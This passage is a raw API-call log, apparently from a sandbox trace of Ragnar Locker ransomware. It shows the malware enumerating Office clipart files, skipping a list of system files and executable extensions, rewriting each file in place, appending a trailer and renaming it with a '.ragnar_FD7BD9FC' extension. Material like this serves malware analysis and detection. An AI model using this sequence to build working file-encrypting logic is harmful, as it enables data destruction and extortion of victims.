[0091.341] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.341] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.341] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.341] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.341] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.341] GetProcessHeap () returned 0x580000 [0091.341] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.341] CloseHandle (hObject=0xf4) returned 1 [0091.341] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" [0091.341] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.ragnar_FD7BD9FC" [0091.341] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.342] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27894f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27894f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00390_.WMF", cAlternateFileName="")) returned 1 [0091.342] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.342] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00390_.WMF" | out: lpString1="SO00390_.WMF") returned="SO00390_.WMF" [0091.342] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF") returned=".WMF" [0091.342] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.342] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="autorun.inf") returned 1 [0091.342] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="boot.ini") returned 1 [0091.342] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="bootfont.bin") returned 1 [0091.342] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="bootsect.bak") returned 1 [0091.343] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="bootmgr") returned 1 [0091.343] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="bootmgr.efi") returned 1 [0091.343] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.343] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="desktop.ini") returned 1 [0091.343] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="iconcache.db") returned 1 [0091.343] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="ntldr") returned 1 [0091.343] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="ntuser.dat") returned 1 [0091.343] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.343] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="ntuser.ini") returned 1 [0091.343] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="thumbs.db") returned -1 [0091.343] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.343] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.343] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.343] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.343] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.343] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.343] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf")) returned 0x20 [0091.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.344] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2940) returned 1 [0091.344] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.344] GetProcessHeap () returned 0x580000 [0091.344] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.344] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.345] VirtualAlloc (lpAddress=0x0, dwSize=0xb7c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.345] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb7c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb7c, lpOverlapped=0x0) returned 1 [0091.346] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.346] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb7c, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.346] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb7c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb7c, lpOverlapped=0x0) returned 1 [0091.346] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb7c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.346] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.346] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.346] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.346] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.346] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.346] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.346] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.346] GetProcessHeap () returned 0x580000 [0091.346] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.346] CloseHandle (hObject=0xf4) returned 1 [0091.347] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" [0091.347] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.ragnar_FD7BD9FC" [0091.347] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.347] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c49b00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22c49b00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00391_.WMF", cAlternateFileName="")) returned 1 [0091.347] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.347] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00391_.WMF" | out: lpString1="SO00391_.WMF") returned="SO00391_.WMF" [0091.347] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF") returned=".WMF" [0091.347] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.348] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="autorun.inf") returned 1 [0091.348] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="boot.ini") returned 1 [0091.348] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="bootfont.bin") returned 1 [0091.348] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="bootsect.bak") returned 1 [0091.348] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="bootmgr") returned 1 [0091.348] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="bootmgr.efi") returned 1 [0091.348] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.348] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="desktop.ini") returned 1 [0091.348] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="iconcache.db") returned 1 [0091.348] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="ntldr") returned 1 [0091.348] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="ntuser.dat") returned 1 [0091.348] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.348] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="ntuser.ini") returned 1 [0091.348] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="thumbs.db") returned -1 [0091.348] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.348] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.348] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.348] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.348] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.348] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.348] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf")) returned 0x20 [0091.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.349] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2088) returned 1 [0091.349] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x81f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.349] GetProcessHeap () returned 0x580000 [0091.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.349] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.351] VirtualAlloc (lpAddress=0x0, dwSize=0x828, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.351] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.351] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.351] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x828, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x828, lpOverlapped=0x0) returned 1 [0091.351] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.351] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x828, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.351] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x828, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x828, lpOverlapped=0x0) returned 1 [0091.351] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x828, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.352] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.352] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x828, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.352] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.352] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.352] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.352] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.352] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.352] GetProcessHeap () returned 0x580000 [0091.352] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.352] CloseHandle (hObject=0xf4) returned 1 [0091.352] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" [0091.352] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.ragnar_FD7BD9FC" [0091.352] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.363] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e57d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59e57d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x704e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00416_.WMF", cAlternateFileName="")) returned 1 [0091.363] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.363] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00416_.WMF" | out: lpString1="SO00416_.WMF") returned="SO00416_.WMF" [0091.364] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF") returned=".WMF" [0091.364] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.364] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="autorun.inf") returned 1 [0091.364] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="boot.ini") returned 1 [0091.364] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="bootfont.bin") returned 1 [0091.364] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="bootsect.bak") returned 1 [0091.364] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="bootmgr") returned 1 [0091.364] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="bootmgr.efi") returned 1 [0091.364] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.364] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="desktop.ini") returned 1 [0091.364] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="iconcache.db") returned 1 [0091.364] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="ntldr") returned 1 [0091.364] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="ntuser.dat") returned 1 [0091.364] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.364] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="ntuser.ini") returned 1 [0091.364] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="thumbs.db") returned -1 [0091.364] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.364] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.364] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.364] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.364] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.364] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.364] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf")) returned 0x20 [0091.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.365] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=28750) returned 1 [0091.365] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7045, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.365] GetProcessHeap () returned 0x580000 [0091.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.365] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.370] VirtualAlloc (lpAddress=0x0, dwSize=0x704e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.370] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.370] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.370] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x704e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x704e, lpOverlapped=0x0) returned 1 [0091.371] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.371] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x704e, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.371] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x704e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x704e, lpOverlapped=0x0) returned 1 [0091.372] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x704e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.372] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.372] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x704e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.372] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.372] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.372] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.372] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, 